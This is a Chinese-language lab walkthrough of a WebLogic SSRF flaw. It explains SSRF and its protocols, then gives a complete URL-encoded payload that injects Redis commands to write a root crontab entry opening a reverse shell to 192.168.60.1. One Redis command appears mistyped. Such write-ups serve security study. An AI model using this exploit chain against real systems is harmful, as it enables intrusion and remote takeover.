影响范围:
weblogic 10.0.2.0
weblogic 10.3.6.0
漏洞描述:
Oracle Fusion Middleware 10.0.2.0 和 10.3.6.0 中的 Oracle WebLogic Server 组件中存在未指定的漏洞,允许远程攻击者通过与 WLS - Web 服务相关的向量影响机密性。
Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。
SSRF漏洞原理:
SSRF(Server-Side Request Forgery,服务端请求伪造)是一种由攻击者构造形成并由服务端发起请求的安全漏洞。其原理主要源于服务端提供了从其他服务器应用获取数据的功能,比如使用户从指定的URL web应用获取图片、下载文件、读取文件内容等,但同时没有对目标地址做严格过滤与限制。这样,攻击者就可以传入任意的地址来让后端服务器对其发送请求,并返回对该目标地址请求的数据。
SSRF漏洞通过篡改获取资源的请求发送给服务器(服务器并没有检测这个请求是否合法的),然后服务器以他的身份来访问服务器的其他资源。SSRF利用存在缺陷的Web应用作为代理攻击远程和本地的服务器。
这种攻击方式通常针对从外网无法访问的内部系统,因为是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统。攻击者可以利用SSRF进行端口扫描、攻击运行在内网或本地的应用程序、对内网web应用进行指纹识别等恶意行为。
SSRF常用到的协议:
- HTTP和HTTPS协议:这是最常用到的协议,用于发起HTTP和HTTPS请求。攻击者可以通过这些协议探测目标系统的端口开放情况,以及探测并攻击内网应用。
- FILE协议:FILE协议是本地文件传输协议,可以用于读取目标服务器系统中的文件。这是SSRF漏洞利用中较为简单的一种方式,攻击者可以通过构造特定的FILE协议请求来读取敏感文件。
- DICT协议:DICT协议是字典服务器协议,基于TCP查询。在SSRF漏洞中,它可用于探测端口以及攻击内网应用。然而,需要注意的是,DICT协议不支持换行符,无法进行换行,因此不适合用于攻击那些需要交互的应用(如需要认证的Redis)。
- GOPHER协议:Gopher协议在互联网上用于分布式文件搜集和获取。在SSRF攻击中,攻击者可以利用Gopher协议来构造更灵活的Web请求,甚至用于攻击内网应用或反弹shell。
- FTP协议:FTP协议也可用于SSRF攻击中,用于探测目标系统端口的开放情况。开放的端口和非开放的端口在响应时间上是不同的,因此攻击者可以通过FTP协议来收集这些信息。
可进行利用的cron有如下几个地方:
- /etc/crontab 这个是肯定的
- /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
- /var/spool/cron/root centos系统下root用户的cron文件
- /var/spool/cron/crontabs/root debian系统下root用户的cron文件
复现操作步骤:
使用vulhub搭建靶场环境。
Weblogic的 uddi组件实现包中有个ddiexplorer.war文件,其下里SearchPublicReqistries.jsp 接口存在SSRF漏洞。
payload:http://IP:7001/uddiexplorer/SearchPublicReqistries.jsp
在该接口的源码中可以看到有外部链接
抓取提交表单的数据包进行检测,将该外部链接修改为请求dnslog进行验证
发现请求成功,SSRF存在。SSRF验证完成,对主机存活和端口进行探测。
对其本地环境地址测试。
一、当访问的主机存活且端口开放会返回状态码
二、当返回 No route to host是IP没存活(会一直请求到超时才会回显)
三、IP存活但端口未开放,返回but could not connect over
四、开放的端口不是web端口,返回 SOAP content-type: null
在实战中想要通过ssrf探测内网,可以使用脚本或burp爆破获取存活IP及端口。这里为了方便直接查看靶场的redis的IP和端口。
使用crontab定时任务反弹shell
crontab反弹shell的payload:
set s “\n* * * * * root bash -i >& /dev/tcp/192.168.60.1/7410 0>&1\n”
config setdir /etc/ config
set dbfilename crontab
save
上述命令解释如下图
将四行命令整理成一行,并进行URL编码(URL编码https://tool.chinaz.com/tools/urlencode.aspx)
set%20s%20%22%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.60.1%2F7410%200%3E%261%5Cn%22%20config%20setdir%20%2Fetc%2F%20config%20set%20dbfilename%20crontab%20save
在每一句后面加上换行符:\r\n,换行符URL编码为:%0D%0A(每一句为一行,共四行,直接使用%0D%0A插到每一句后面,句子之间不需要空格)
set%20s%20%22%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.60.1%2F7410%200%3E%261%5Cn%22%20%0D%0Aconfig%20setdir%20%2Fetc%2F%20%0D%0Aconfig%20set%20dbfilename%20crontab%20%0D%0Asave
在行首和行末各添加两个换行符,并在开头和结尾各添加a
a%0D%0A%0D%0Aset%20s%20%22%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.60.1%2F7410%200%3E%261%5Cn%22%20%0D%0Aconfig%20setdir%20%2Fetc%2F%20%0D%0Aconfig%20set%20dbfilename%20crontab%20%0D%0Asave%0D%0A%0D%0Aa
最终填入operator参数的payload:
http://172.18.0.2:6379/a%0D%0A%0D%0Aset%20s%20%22%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.60.1%2F7410%200%3E%261%5Cn%22%20%0D%0Aconfig%20setdir%20%2Fetc%2F%20%0D%0Aconfig%20set%20dbfilename%20crontab%20%0D%0Asave%0D%0A%0D%0Aa
开启nc监听(监听反弹shell里的IP和端口),将整合好的payload放到operator参数中发包,反弹成功。